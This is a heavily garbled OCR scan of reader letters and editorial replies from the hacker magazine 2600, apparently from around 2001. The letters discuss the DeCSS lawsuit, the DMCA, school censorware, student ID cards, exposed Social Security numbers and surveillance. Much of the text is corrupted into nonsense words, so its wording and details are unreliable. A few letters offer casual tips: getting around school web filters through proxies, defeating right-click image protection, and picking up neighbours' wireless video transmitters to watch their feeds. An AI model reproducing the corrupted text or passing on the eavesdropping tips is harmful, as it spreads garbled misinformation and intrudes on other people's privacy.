Tieve it is simply p meater of time befooe IPUX comes up with something new o just pegs i of it |

urtagsther, Butfbeoe are pheoty of HPUX machines owl there using it especially inthe seadomie |

e 1

]
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Dear 2600 b o Cer i

I ligh 1m Del3s L..._n_ _._.n 1.“_. of the a_._....u_. Fwe
mace 3 porsooial deRsio i pul 0y oy wheens my
moith s, ard 1 refuse to rent boy, or even warch
DV D, B alen premy miack: eossod buying CDs s
the lymics servers were brocghl down, bes dhar's
el Bevames L oan mo benger idenrity @l o iy
them.

antiy sorne friznds were shackad when 1 one-
fused 1o come v and weich moloceycle racing (my
ofher lewve) on BI%IL Tn the ersming sonversstice. [
mied Lo caplain fod came off ke 1 was suggesticg
weoring zinfoil oo keep the FAT fon oending s
el asEdansly Jane,

Wiere can | find something concise expiacning
DR, the: actiods 0 the MPAA and e ioplicatons.
hovw then're 2bvasicg their pawer. and why fisa't s
o hangh of hackers ilegally eapying VDT

1 knarw this is 2 big order. I've reread my hack is-
sues and searched your sine 2wl the FEFF's, s owell s
ather plaaes, and haven™ found whal Eoeeded... please
help e,

Ex

Bevcans oy wroek when rhe selsslon 0 snered
clemrby 1A Ly that k! pesds onr wndersiand, Yo
con ! werd (o come gy @5 an Drracisngd Junsoe Ghee
people well diemsr the setive poaal afowy with your
rettadslopy We clean'y meed $0 reach mcee pecplie
nrd STEmpIY e (reees fo e Aoeedecdadond peepls
can graskly “pel L T W v foung same pasd explana
rhews o wenspendvdorg buz choy sl may by e
fechnical for somet. The Poee we come o wirk o the
demansrariong in 2 rosmed 15 reach a b af peo-
Bl e ger shem thinding. Fou o find @ copy e i
af e, B s AN 25 fveed. Bt we meed ra da
heanar el for thar we Apaal e peoale gveephene in
bl uy spread the messge By daking e fime fa 2r
afaim 0f 20 Moo cromng them I nerses e ey fom
cpprecicte. This in o wpry imporlant rociel (e
weftne we simply ool Ferd re gt fosr b recid o
._m.".__.._..ﬁ___. Mot werrpane Wil Beedineldy recopnize e
prpariece B ar feast we can male rueee they now
thae Gcty.

Dhear 2ot

Te's cedy sight that vou lest the esse Yoo publi-

izl vou compaizmed for, and you sdvemised boo i

TPk 2 DV Lock. IF you know hoow o defear a [V
deck, yoer po ahead and do that for yearsell if yoa awn
DX, Dan't brag abeat it in sctool becase, i wem
o that would reveal yeur motvation; malice, FPubli-
cieing DV circamventien does not benefit wou. Iz
only harms sooncooe else, That's why you s s

NGEOR

rhal's wh wou won 'L win oo appeal. 15 your doggons

s fmotivation. Are oar Brws deal wirh prasces o fkdi-
= eatan, B0 edoply, v lews didticguish hedwesn

mounder and imveletary manslzaghier.

T =g roon themees in leters abaul sour vase: ~Troe
speict”™ and “educetional™ rezsans for Faving on -
1en=e inper=st i poleckisg 1IN, 1 doa't Beliovs vi-
ther iz Al work wioomg vour readecs, Your resdems jiost
ward the goods hehind ocher penple’s Kwikser iois,
Thar's calied “tFidvsr.”

Yiur wunbed bo mor=w che Internzsioral YD oon-
glomernis bartarde Yoo wanted o Kk then in the
s B charging so moach and for beicg a dumd ass.
Su that’s prear Bur poa gat nobic speissd woen the
ki dueah fas onpanizaticoa luened ensond and booced
# lsth vuk of your mouth, Mexd Eme, duck.

ATenymons Keader

Well, vhatly ome perspecnve s herd ro imagics
gt pan anosy Al rhene thiRgs, fack as the soniacinn
.n__...."_r... Reaeder s e whai Tl Prue eecrs of pulyivking
semetiing are. BT mpictc logic arkestand we dan'y
miend K fer s oveasianc! agpnaes deer ar ol
cinerse P 're g emcpagine: we ...._....._.".__“"_.1_.r.._._.wh._ (RS
crever Mippy, and we putiicie thingn Iefrmunnn &
our Bhaad, And we e ear ke dehiv o dcbing, 07
yone 2on T ke SR, v mipkr el safer warching feie
wisian,

Dhenr 2o

L'Er a oo neatder Lo voar magarice and in 174 T
wits reading aboest the whale T begal el | s o
X e e Archivg al vour wiob sibes b learn Lhat
th MEL, WEIL, WCAA, and other sporis organizanans
were jumping e the bondwagon REEINET 00 Eays
Feaw gt Thing thal precles o is Bow in the hell a
DVD copyright batde is related o spoms argamiza-
Hoos T

Clowm Father

T a very good quesrion andg oae th sy seonis
ke it T adedioos Sl sacdk anuEsis s hove
o vesleed inferest in e DWCA rines i ghver ram Sie
Fight 1o manipetfare sechmalngy M ways previpuely
Gstmiagieid - aadely for their nayt The rome Law Mg
makes i fliegal fe wee 3 DVI wouve boughi in g way
the MAAA dacsn T wand wou e ome aivo wale i el

S yowe o recond o dponling ven! wiliend paying on

adeinemal fer or (o lemd vour caoy @ @ friend, ag
Araves fartdd ade i me @ difeeeer repion ....._._..,.._z_.
g o fely wrherpe, Thess orpanizanons’ mar-
rrin the case makes s preiy odaus, Aad the wracr
SAHE Confaos oz PV will made fherr wov o n_..,.n._..._"..l.
TV wilioh i7 probably ehod the Sme men peaple will
rrar o reshize whar @ bad ddea ride a8 wia i e s
ace. By et Yo i widl Be regily baed 1o wnda ohe
GEATIARE.
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[ b by saident docday an ind=nesting anicle in
e UN Univepal Declaracion of Haman FEophiz
Coeww aner g Cnenview s ghis Blod) o whivh the US
i & sipeanory 1 beliowe:

“article 19 - Everyone hes e sizhr 1o froamfom of
apinion 2od exposssion; vhis Sphtincludes Eeedem 1o
Tl opinons without Inlerference and oo seek, raceive
2nd et infarmotion and deas oocgh sy inedia
regardiees of fooericn,

“Ariicle 30 - Mothing in this Declaranon may e
interpressd os impdving for gy Blale, graup o penson
any riphl b fogags moeany activily o to perfarm oy
#vl wimed ar the destuctan of any of the fighs and
freadoone sof foeth hopcin. ™

I'm e Svaver, buot 3L loaks like fhe repion-hassd
restrictions oo DV zss ars 2 peemy diceel viol=tion of
Arncle I8, This probably won'l score any legal points
ageinsd Wilent el al, bt seill - it does shesa thig aoress
i indocrnasine cotsicks Yoo Ge Gemlry isa't as sl
#3018 B il ok b bee b some,

Kerock

e (eivend ¥iaten heebivowediy roares such 50V e
fanmicns, o dr mowy cthor sosrrier Gard rhes
chiampes, W won 't fled ek pomie! there. St the
Lindvdrray Decleration of Mumae Bighes i@ feergfc
secwmen thar bapsfilly ane cizy will be miben el
cicrly,

Depe 25007

I recertly found 2 copoy af your mesazio: (1741 in
ane of my lecal shops all the way veer In the U
Wil [ el ke lechnical articles imcecesring ond
usehal (I'm deicg a degres in comperingy, 1 Gomd the
artcles relanng W warices courl caees oo the go
(R-UES Jor example) and legislaion currescly heing
pruzed quile disbzbing, Being in o LE, 1o ot oo
mare Pow s assnd will Svimilually alfec! me ax [
cRik gamm e fnd o UK equivzlsnd po 24500

I Fally suppart vour magarioe s airs aml aljee-
Evess (punlicizing security bodis 2o infenn seslem 2d
manistrabors en bow o ficd 2d deal wich rhese
problems, et as T feel secunny can coly B achicwed
threugh hard graft karming and understanding 2nd, as
the wechnelopy s moving foreard sa fost voo il
have po dediceis yourself i keeping pace, oo give it up
oo ol Eegsil a Civil goreant or someching. Tf oo
o hiad publicized o oeed for artivires sofwese, Fow
mazy POs do they chink they woold have gpersting oo
a T.__J_.r._“._.... wring’!

Koz v the good fight!

Avon

Thozcke Ane! we're meesd (o fove muede sur way
ity e dopod sdbop
Dear T

Ir sz 2% thiugh DeCSS can be compared ooa
kxife, Sure, some people use i far cllepal prpos: like
slahhing ond soch bub ey A jusla very high-profile
minceiy. The pel of us use Lhem For perfecily lagzl
purpases Hke cutring oar food and poming bt oo
v marmning beeskfass mest Shoudd knives be illagal
st gﬁ:..ﬁ.. s mf....._._u us= them improperiy?

Shoul it be ilksgal toorelk ahour i in books and 00
wirl: pamisT In e Gase of Bnives, the cops go efeecin:
Evideal peonle whe s cham pa harm ancifur porses,
nof ey e wler owns voe, Why shouldn's il be the
same with DeCEST Why shonfdn's the MEFAS epemd
its frez nme Jocking Gor poople who ars pirating
mavies insbead of peoples who wanr 1 shars isfoeme-
o o0 a marhcmatical cncoypton alpodthm o whe
war! B egervise fair nee of o parckased weark? 1 awn
crver 00 T3 18 aed ewery ene of dhem is Jeagally puc-
chased. 1 am deeply offended thar | have my Japal
rights token pway Boaaose o lrw olber people are mis-
cxing DelCE3S,
vonder
They wenr haifisris sver rhis weild Bafione cuone
“warsuned ™ WeUES fw fak, ihey have ver o oo g
witlh gy compeiiing ertdonce har @y sver g Ag
we v Sl weeasedty Qhers g i simpler wovs e
ke con gl copy af @ DY and ruls weas aever the
peinr of ISR e the Srst nivee . Bl yowr keife anai-
ol iy g ey poad one S IS a0 AR ol
el A% Gee Acermdiivecd and booumers They fove
waen gppdicariony which con be wied for cirber goond
or il
Dhear 26080
Tz the court case of Sapn Enterprises, LTI, e Ac-
coalade, bic, Y77F23 1510 {%h Cirvoit, 1952) Acco-
lade had reverse-engireersd the code fror a Tew Seg
panes wy crElc g [ e Gecesis guming con-
sile. It kad decided nat oo license the informaran Fom
Sega, =5 Sepa would Bercess he exclusive manofzc
lurer of gl games prodoced By its licersses. Aceolade
did pod eopy eade, They morely wal whet ey dis-
et [ ergabe gaones thet woald inrerfzee wih the
Genasis consele, The ot muled “We concluds D
whins disasseembly 15 the ooy way o g2im access m
e 3deas 2nd fametional elemams criadicd i 8 aooy-
righesd pogler prosram mnd where tece i a legin
mmate reason for sexking such zcosss, disassenbly s &
fzar sz of the copruigined wok, as 8 moetier of Jaos”
Tust theugh this mighe help yoa oo
Jjeld weems
Drgsar 2800
Cioed Wk ool vanr apgesal. 108 poasd ds keoa: that
s Uilks are willing %o stand up for what they be-
lievein.
djeain
Dheor 2eta:
Acitoling B U MPAA nifing apwinsr 2808 v
varmat priveide a link oo the TeCRS sods, That's Be
sayicng, “We can'l el vou abere this foode] ds, he.
capze it might be ased illepally.” | guess we choald
nezer rell anyoe abaode i Bacal hamSasure shoce. They
st crawbars there, and thase can be used fon breakoing
ard erzering. Thay sell wnives and serewdrivers, and
ez ez e wsend S hod-wiire g car, They szl rape, ool
that can b meed o streagls someone t Geat B amy-
ehivey can b gsid ilogally, we should oever dischoss
where those fl=ms can be frund, righr?
Brian
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Bypassing Restriclions
Deear 2oid:

[ hive siop otz o il ot thed i o] aliow o
K COpY .a_n fmzpes posled om Lhedr sive Lo the Jocal
Eard disk ....m._.& Fini ._.EE CRRETI R, R
windaw ._.r.ﬁnmﬂ_wu.".ﬁm.m.'ﬂﬂ _..,.._._._”_._.._”..1.._ it T

sage. T discovepid SWwoy o bypass B AL you hove 167

iz i poine the moess poinler om .._r ImageEamd click
bt mass buriens (righe and fedft}
The: righe click mena pogrs v instead of By vdpasiphl
Toesars fined Yol C20 save e irnzge oo vour hend Gk
Haope this was soos veelol infarmalsm o pat io your
TCATAIRE,

kel

W pravmradtes ey vl iy and make 2 mane oyt
fralt in ffe e
D 262

I wanf o Thank xe00q By Fas Beinee in 1704 abaan]
wowsafemebcom. My Righ school has a poowy
server Il Blocks aceiss 0 gl “ebpirianable” i
melnding - yours. - o Tloewever,  T'm surfing
wwe, 200 con A nevas Becanine of s nformetion
Ir's great bo have prople seoding in this infe Keep up
the goed miock!

Hackz jEEveZ
Thear 260A0:

This ix s upskabe on woeow salwek coon (174 Bet-
ter from reflop). Naow there ars effectively “hundreds
o £ e this™ and A% Chsy e b ool Of e,

Adfter gettizg banred lin Chinzg and Saudi Arabia)
far heing effective w pronvieg fres sporch, rose
puxs minechad Triangle Bay - w open sourve soflw e
that -makes personal machines ineo proxies for a
Safewely sapver Ligs of iansk: Boys wonkl ke
Hocking visraally impossible.

Cheoit warwtrianghiobon cee fon i ke ol frae-
dhrim, I 3o schod nol allowing 2600 com is umbear-
able, thick of the millinns wha wre kepr off o onm o
Ty TImEs. G0l

F.
frandeally, he bivgest curiomer G Whis prodecd is
e CTA, Al squaily disiresrng as people being Lepe
Jrom acessring Einew i ke s thaar g ey ol wr ek
have fuli ancess dowt moke use of It in @ meaningfi!
Wik M mowy Amencans e the dewn froen @ i
Sferemid perspecnee M whal thev ofceody see In the
paper ard fear on (he ragia® There s an ewerme worid
el Bor vy oy sxpiore, The oufy faicg more effeciie S
wrsioal Blacking iy menia! w_.n._.u_.."_.mh and fiar fon mamy
oif wr ambetouingly fali prey i
Dhar 26060

T thooght ¥oi aeay be inberssted o fearn thar ACH.
uses Cooresim” to fifter wl aovess G all of eir
usere. The site can b fouod sl www.oomesion coam.

Most poaple ._p_..._?..._._“___._" 1 kv b._.:._,.._u. ihese wine-

i tha same g, |
£ - o ters [ __.._._n__.._.,m driving | b:._...__.nu_. i B tar 1 et i

7 e

fess tramsmitlers for tweir YOEs wo they can weich
st vides o fmabls oo ST e s the
soarce. Bezazse they don't koo shir, they don's mia
kardwire. Vezw stupdd.

BoBeang booed, 1 pon B codciver end ol the pack-

> npe cprrected oo 1Y Enomy can, and ook o osoe

aroamd the neighharhond. Well, it appears a ot af pea
Fle feed they coad Lo mocdlop almost aey rooe in lbeir
frapsd wira a CRITE, Toting it up T .._._ﬂmﬂ ransmir-

Wit prophe iE theirhore s Tegaly and céndidly. Try
ik wou will be surprised and entertaioed by whine
S0 Pk pur thair Sarwas,

R (rtterhine

Ard rey're wormed aboer ur driving seound v
g celi phones™ Nexd e, SRougk, 0 wowldn ¥ bue o
T alsa b B Teguengieg
Thear 260k

[ooen a mecent e sbomv: “Ioee TV channels, In-
bornel, s g-mesdl access mme o b llered o the UK
first ‘digiral s phbochooets” by she povernmen:, The
schere is 2imed ot helping the governmens: 2nd indaes
v upderslened whal faciors maller % cocisurcrs o
choveang whettar 100 dhaatal, Bl bBeoron by rhe:
governmend, and cthe arsas invited to join che scheme
will be piven free dipita! coovendon and equipment
e posgaiemest &l ala Fend csszcch iong whar
viewers watch on digital 1slevisian, if their viswing
habics change, and i ey use the sels Tor Inlernet ac-
"

Cireas, wou might think, More Inszmer aocess and
xceess o pew kechnological develepments can omly be
A& poed Thizig, Bot Jipitad T bas séveral Santi-pirss™
feahures sach 25 o spstam e prevents perpls from
recording pay per view events or movies. fs far as ]
wAn Get] ers 35 no way B0 by pass this modonding bleck.
Wi L ried orape aomeess oo S Y Thers wes oo-
casionz] moments when the pacture cocl be szen, bt
T el ol e movie the seenis wery oisiunal with
vide-snew and the spirhook was inaadinls

Also, in order 20 send an el via a digital TV
s ! b conmected to G ISE while eriticg the e-
mal, With & GO, GOE Sl WnE & e-nail, than
serd it after conrecting ra the 18P for 2 fear reconds.
Wilh digilal T¥, in coler e send w0 e-medl the user
vipsl s Ay Senvs phoee T eonnestion B s da-
recion of the periad rzken ta wrine the message.

Iz the UX Bere re oo [ree BT for Gpital TV [
el @ovess | osuspalt thal cortazi sk will Do
kocied  foorn wse with digial - TV, ne douke
wewewe 26000com witl be amocg them [ oumenly dee’t
have Des oplicn 1o wss e Jigital TY Do web boias-
ing.

T am also eatremely coocernsd zhout the markel

. .FKEL.:.__:_ .....L_ _u..._._.,n_.....ﬂ.:,.. trairgg this cuipeiknol.

The Chaotde 1

hzn..ﬂ__ ...._:_"..._u__.uﬂ_m...._". ir a vafid and very real con

."..q_.ﬁ e e .r.u..._m__._..q.u..__..._n._..._..:..n. Aerr ot 0 dan Yt very
folid 18 i E
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_m___n W.Wm.‘. St .m_._ﬂ_._i 'y . E N

s 1o ...ﬁ..ﬁ__ﬂ.f.ﬁ n._.ﬁd_.__..u._“nn. CATy .__.E.._.._....m_.___u..__
“,u. shem uses oo veracd o SIMS sollware 4o manaps
sklent znbarnalion, Ax penl of this, 2ach srodanr s es-
sipnid 2 umigoe D nuettes Poemy standard, right?
Well bere, aboat 50 et of the lime, year =odent
LY w2 voed Bawdiz] Socurity Nember! Whenever zrades
ar lesting lists are possted, thew ane gasta! by 100 oum
b, ohvas revealing: ity huodneds, iF not thocszrds,
al valid ad active 55N o the poboic view, P B atl
£a see and use, AL CEREIN LGS, N arc evien pused
with yror mgching omber. By ke way, 5 easy m
delenine if the nurnher is am S5 or seheed wmaiomnd
ruzmber, 25 they are ditfersn bozgdis, Afler subenicing
# kaer iy prinvipal. ke fed me e smandard ipeo-
racd response of Uit's noc uneamngd, and as long as
The _u_...,_._.._...pﬁ.._"r nadress with thom, ._E__. R._._.__"n_r_._ur.
aus” 1 lkink we 2l keow that thar's wrees. Wl
we're daking it o the nent sy Gown hers, so the
wiwels e pzvang, bigesfully for e becer, Good ok
0w purs in woar lepel troehdes, B acd b chooks
when D can - T manage s alocle o Tew muore peonls
ey day, wehicdy w2l know is whers the real suppret
e oo,

Widnures:
DEr 20500,

My rchenl prides itself an being eo “terlulogi-
cally pdvanoed™ and i is. Wi Bave very good Rlecking
sefraans 1l Lo <l rving 1o pad chromgh. ve aicd
all your mirmo sites, fried the wewes 2 e R0 2
that didn'c wark. Eused 1o b ablds s gel the Awsralizn
200 it gy, bt they Blocked thar s well. The proh-
ke is thed ke Bocking “softears™ pocs Duoush the
werver as well, 5 thaoe peally is po sedlears, You can
g-mail the 1Al G roguest eehlocking sines, g v
trical thal with yours. They sald far youe st —poe
medes iflzgal poervay, foud ala prounies iflzgal soivi-
tes ™ | have s thoeasgh evererbing inovoor .__._"...u_.__._ 1
hivs Tound roching thar promeess heed duoups, 1 oe-
inailed chem again, ssving thal wour site is e best for
anfaan he DAY case. Thew will have iz Blacksd, Ui
s prised [ean pet inm s bevinmantak coon w1l

MNewrneak

We prmaie (leeal aotiving and diegad aechinee?
Therr neaple Gre reifs, Whae we soally nosd to pro-
gt 15 full covnussing of fese dimwits wio feel ey
faree rhe pihd o diciate o gerr read By sthaers Tl
it ko they are and whar o ..u. way el we I prd e
Felher a mice Siole liic o e peon, Then shey can add

“prowantes fipkting hask” fo teir S
Dieae 2600:

Ihave seen 3 ler of balkers Orom high scheol hack-
trs whe camplen 2bout twe [0 cards ar they ars
Torcd s use ab schoanl. Firse, Twaen 10 s at [ wes =
Backer in kph sehaod and [ suppor sodents | learning
L culing. Had [ not been crrions zhoar woodh-
___-.r..u_k”_. [ wouldn'e uﬁlnrr_ﬂma L TR A% A [UOLANTRT

oy Y, Towan e Cnced R hal b Leactens called

an Lo helpowich s cighl bl compoters.

My pind is .__..._..,.n. FIND oA U s have oo carmy

u.n,_n._u._.i sheome 3F e asked, I s ealhod & driver's H-
Y e W Pl WA e B work. Secondly, T carry

ageiy [0 Oz L have £ swipe B open the door 53 1

vaa gt into the w.u_m.:._m vy mwarsdng when 1 oo o
work, Thindly, a8 hively canployoes al=o have an T
e thal they swipe in che dme cock so fey can pet
il

1 rzatly boges thid yosr Broes i apporbaity o hack
A 1o sk ol what wou knoew oo e waschens, poer-
erls, and friends Howsewer, peni? woo Lo 13, wour
chan has e il o ssarch your lecker, desk, or what-
cerr lhe law alloas, Your parencs havs 1o dzfl 0
vearch your foam and eosen whal yuea resd Sopeflly
oy WL L i measd 2500%, Yow are srill going o heve
L make yous b, krosk vanr ecth, 16k ol the asly
e i womr henes cokl Befione e cam hack.

1suzges vou lake advertapes of prear sivilis and foe-
£ol the whale [T cord taing Wri: your cesay assdpn-
ments i A Racking sobjocd and ped an AL Use vour
Fucking skills to yel Arst plzace in che seianoe fair o
womelzdng. You know fwar beokes Lestr cven that
yoar parsnts plarcsal Lo throw in the trash? Tise pear
kil b oepair L

Sufrer high schend, nse yoor shiZls to land a job,

Phredng

Srdonny JIF conds ane af peadt coveem o sl
denrr, Wy shen slontd ey jurt forger chout Siem $
Whether or niyt by sohas awiBanoies can ger away
with & i drvelevanr e orhe gueniod o whetfer o oo
irk che Wphr dliag oo do. We con? think of o betier an
et T qrerstien e ® Bappening e a skt
Ara while wou sesen o9 Roee s sed i peasticaf r-
Focrs off e we Fear el yow ey Ravs forpsries the
Loty af e areing, exnerimeniing, and worinss.
img. B2 deesw aleays pay b e bar & ey define
ST e Bedter Boie cevthicg ofee. Thare wha 5l
Meawrw for auch ibiner weed t0 Be sooouraged.

Dhar 2EM:

I recercly had a2 inienzding envounter with my
ot eacher, 1o i a disosssion with hizn abvir o
yusslion I gol wrong on o test Ood eanres | woplds't
T.._...n goetzn ir wroeg f the laey Lastand had wrilten the

5 Ranisell sl pofl kad the arseer Dev in frond of
_.| ul. Anyway, at the eod of the dizeassaon, e okl e
[ was “leapfroepins ahead of P Cless™ s G 1 kad
e “abew iy opind dewrn de dhe level of everyore
<lae’s” This infuriates me 1c's the kird af rhirg tha
people have besn criricizing aboid cilfvcation for as
ke g5 0 Can peneimier them erlicizing e Then o
Baar iz exacl same thing from one of the iesclees!
This is even a privote sl Har sys i bets sludents
AR AL Thein et pacs, When will Lhese things end?

a5,

Dear 2ot

Keciaily at el my English class wens irsa re
apaleT lak b work om a repom. Bafore marking £n
Lhe repord, we did o spelling resn, Dur keacher infeomed
ms thoo wi el e oo sl on the compezer, bt only
un Malepad. The 1ech person there immaedianedy w00 s
thet we coald noc ase Matepad, a5 i b Been aken ol

LY. annf

i

LU0E sty




of the corrprulers, Koo fan Reodepad woud nol be
aken off, I quickly used Nelwmpe (e only availablz
brosser) 16 0psn up Motepad, 25 the comymrer has g
roercils Socurily FADmes wr hiep v Ioom using b
hard drive. [ gquickly shuwed a [Feod nearby bow 10
Hpen up Minened. Seeing chat Merepad bad becen
...__.xq_..un_. B Boch porsce Ao Over sod Weld e dhat
this was a violztion of swecurity and if 1 weee i do i
again [ would b ensnerded. The nexr thing 1 Jid after
dhning the spellizg (e wis =boul & fen micale break)
was play groond inche java cocsale of Matecape The
reacher was imoemifend and watchad me foe the resl of
rhe: reeny hour period. Tusl goes bo shee thas dsch peonle
in schocds really znen’t

....mwm. Hvrﬁ.m_.wm.w.am._._.m_._.v_um =LY

.H..__.__. .w .."_1.-._,?..._....."... ....L_.. ....u_.u,..._q R Sevepend Rar
ﬂ.._":. _.an._.._.__..r_.n B

Réal World ..r...___:h:.__h___.__,

Taear 3ekl:

Here's a good oo The edirarial e the Apeil 20601
Papwier Commanicationy magasine ells Ge e of
fzm radia operztor MYQYE, wha darsd 0 regisne a
el paze gsing nas cell sipn s woars NEONVE G | bt
vou almeady pucssal whal bappeced. Yes, the kings of
TV bracksterdom., QVC, threatznad 1o s che peos oof
i fod ...J..-_h..___._.mm,_.ﬂ inrnngenan! However, “__.mh_.._.nu did
wiock full B B dnie U genins Jawovers figared our
this was an TOCassignad o'l s5gn oond Fe wasa’r
sz evil hacker Type fying o ey !

ot

Ar iFpeerig AT in fraar afa caipeoran? aoese i

SRR WROHD,

Dpr 2oE00;

1 was just waiching the rews tday and they came
up with a stecy. A po iz a2lad @ lackir basus: be is
stenheg erddil cénd oambers from @ compurer server,
Thezn b usex toe Infarmaton o sreal rich and famnos
identities Framy aramnd the workl, He U el charped
with sturf that relaies o crime. Why is be a hacker?

Tzl

Zamie redied the soron whko bruly the sy i
nu_h_..m.q._.."._,ﬁ...._ﬂi Becanse mabsdy boshers s erep for
waard sed meveal the fallacy Tanis for bockes g,

[hear 2e00:

Lam corrently in the Crimine] Jusdce progrem in
oy oallepe ard we had a3 gl speaker i ciass re
cifer iy [roen dhe Secrer Servied, During ke traizing
tapes ehe shawed ns, il mcnlivoed 2600 many times
whils they were talking aboal their "dury o preeect
..-..r.qu.n._..w._..ﬂn..,. T I alse e dhe nesen hacker” very lilv
erally thecyghout B entise e minule spot Iying e
demifeise hackers. | was socked to sse e wiy that
they were m__n_.....u_:_._: the magamns and wel gile 22

_._._.nm._.. and sxclusively, bir aben P aciualiy bad a

frem il movie .n._...k...".q;., ihz! jsl went “_.IL_H._.
.u.:u.. rwl fne hine, This is jusc disgusting rmar rhay
woald 5o openly altack 2 in 8 i enling

vidig,
et The Codnnad
W Jron there are prople our hese who san pel we

mer =T mE_"_.u_".n 5

B e

T capF af thig and arter sack videon We wondd con
sieder Bt revesediug favor o e entive Sroker ward

Der 2500
1 recently trisd in cail the L5 endassy in Badin o
Ban mon ando aboid A vina WL Ok only numher |
caxdhl G ws 2 O 190 nomber which is like the Ao
icam 1-%00 rembers - proa Fave 1 pay foe i a Bonch.
Mty cedy sex strvices use Ceess Bind of nmombers
3o, it cost me 3,60 DM per minuse (zhomt $1.060)0 md
goess what [ pre? A crnmpuney thar aoalifn'L answer oy
s guestice! I'm womdening whers my money is be-
g irvesisd now.
reilgeist
If we dan¥ feke advantzee of poopic in _._.:a_.w ]
n_....,___an_._...h .r”_.; ik ..“..”E _J._...._..._.an_”_..E..__ fin ._"... )

=,

" Dee 2600

L Eexding te lemer 13_“_._ Eric _..r.n..h Faf s o chink-
:..u wh u_”.su.w_w_.,.._. i Ferdiflis _.a_w.n._.x._...._....L lis crice
2] By i Eprabbed 4 canaf spray. painl went ot in
the wee keaars of the marning, end gab canphe tadip
the foven of a 24 Booe #eee? 1 axok] be misinformed,
but dide't Barns leawe the original pages ictzcr ond
simply irsam anceher index file? 1 en, why sochy a
Ty et ? 0 seiies slupdd o thick hal 2 lagger
wioedlid ger privon time for leaving Bis mzck. Possibly o
Fefty fine end commueiny sarvias ShEnbag e some
ofhr T’ wanks Thiz hicd of insanily mokes me
weunt by moeces o Carada, T should ke ar least & feaoe
e wears hefone this diserss bealne soneadicng Boooss
1w Pk 1o Thems as wall,

pbnbdk
Near 2o

In B3], Lralai cemlioosd tha! during the Saper
Buore] evervons's face was soarmed 25 they enrersd e
spadizam. 1dre'r chanic This i a new prectios e he ool
ab the wield, While calching &n indemmational conoect
ing fight in Londoa T wax scanmed ar le2s1 once (thar |
Inaw afi. When pairg thranph secarnity a1 {Laiwich
Adrpeat D ocatd 3 carmery thal, whbdle not BEidden, was
o't semeliing ooe might readily nocice. Ad the secunicy
check thew sczmmad the ticket, 1T was 3 socioed se-
CUNTY CIegk G T way 1o e gales. AL Uris check they
srnnisl vour Gekel apin. Afier going thromgh the
check T loowed back fn ese i Fece of M perssn be-
bamed e Qo gl b, 1 was very impresesed
with thix as an anli-terrorism method withaur olaming
the passengerin any way. 1 don T ocassaaeily aene: thal
s precres shonld b vl ol spocling evenls (sines
lahimg everyone's piclure ke thar does't hove any
abvious uses} bur T tyink far the UK, coold Ram
spaerhing focen mae cost ol the world o more ways
Lhan o).

Chewig

There 5 Lowever g hig difercrce Briweon scan-
ring freividua! fovey i a lne @nd rogmeisg a8 eenee
sraaium (ol of peanie.

Thiar 2608

[ don™ wand o waste yous Gme 20d Tam mod sure if
wod FUE ars awnne of this ights viclinio ooeuoing i
Wirginza Baach oo ool et kers i somelhing going oo
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duwn Ders rhed would R of intenesg 1o w00 i your

*readers. |am meleoming 1 e new standanl of dzcency
“apd the mew “fmizndship patred™ that patrrds g rason

apea o] ¥irgln Besch
Joe
Amvrfing werk S name of “endnhip parval” dee
o oo b ot
Dhear Ja0:
I sdminisrer a rater large FHX wirh 8 eaks rangs

; o fax noelirs. 103 6 unedmenoa Gor me bo reccive

dogens of misrouted fanes intended fior ocher parties.
_._.A..__. Favanires ane medacal raoreds, financial ranssc-
toms, el Typically when I call voe of the too people
involved in the fax, they rezlly dos't care, Most of
them sitly 2y, “jusl thoew et dwdy”

I woender what Toe Schmee wocld sy if T ozalled
hims o bome and swid, “Iedgicg by what | weas jis
faxed, 1aoold sxy tkal you ars sullering Crom dopoes-
s, a0 these drugs waon'l do yoa any good for vaur
Tk paion. By e wea, [am eod yod docter ™ Fedups

Hw&mx «_E_EE.___.LED ¥
& ........ ra  Fa .....““ - ..."..u. Ray

h.mhwmﬁmsa: =
Dear .whm.__?_. .....

1am 2__.?.._.%._._...,_“ 1his beticr W Enloran sow 83 8 pub-
Boabon of e mazy pasitive efects voa have had T
ko i is always gond to ger fasdneck, and miscen he
difticalt sadth the ceons ope-way nredia fike Dagmsines
{though 258080 ix very much 2 reader-supporisd magz
rin=). | have recantiy sukscribed oo voar magazine, bar
I B by A 50 r and sappeotie o vour radio sherw
(T 2ie Hleek for severz] years and bave since actvely
cocsnmed 211 ocher shoss in yoor prchive. $inoe then,
yaour exnccloot poblianin fxd propoam v Bad a
poofinmd infleence on my thoughts.

[ won!d likee oo thank youa for che dime and effor
o fani on g e e ond ool and bt vou kreow
thesl v are pol dedag it In vain, Your vehement cover:
age of the Kevin Mitnick fasco and, mars recently, the
MEAA faree has verily opered iy cpes e e cidize-
ws aboes of poeer that vorurs every day in the
world. Your coverage of the Sezttle WO demonsirn-
Gon wis alsg sanemsly shocking and soowshicg oo
windd mever hear on megular radio, As Amy Goodman
said, it did indeed soand [fee 2 war mone, semerhing
e would cxpect e happen i Isrpcd, ood o1 B in
Agperiva. Yoor elTocs have informed me thal corporate
fensorship and the ©if yoz arsa’t everywhers, vom're
mrwhere” oesntality of the Asdrican Coyporabs Srapas
% viery real aml wsing D053 & 20 example, can bave
very real affeces on peopde If you received the DFVI-
CrA's brirkl rhrest and quistly camened the offendsng
mglriz] om wour web sile, who knews what the
kmg term effects wocld have been? Withoot yoor bodd
stand BEEinsd the ot er-Pangny sorparaions wha sk
o0 Sogrledl every Ceogl of Lile, e DRACA would remain
Birpely unchallenged and the ¥EAA wrousd contnos
with their inflared ean.

Wou call wixrscll “The Hacker Quastesly™ and are
probably critivized aborl thds noc hzving moch 1o do

wilk Cooputers, 1 i Obvicgs sl Backing neally hes
very BHide fo do with compuiers 2nd is mors aboral &
certzin freechinking mindser which can he sz2o
hropphood hissy in east whs have cstribaesd
greaily o humanity. Mot simply follvwing what you're
ld and n.nx__..w ot yoar awn answers woeulkd he an
admdrabls quaslity Tor sl poedple, bul calling e &
hacker beings frar oo the bearts of the uminfonmed.
minch due 10 the meadia expheiring te term. This may
prevcal th wse of i wind o e Gases, bt il cer-
tirdy canmot ifie the mentalits. Enowledge @5 indeed
P, Sowd thons whe wand o oresod ke their peormer
by censoring aml cectnolling informativa skould oot
he Zllessed o hawve chis powar.

In daindaz, | an sayice ar voor pole dn the shee-
ing of information is far from insignificacd. We always
net mcers ponpls wetching the wetchers and mnodtor-
ing CGrose in powat. Tleough [aon no poofissional, 1ap-
preciate the exmeme value of vour publication and [
rhesik ”_._...u fre |,

Twidediireen
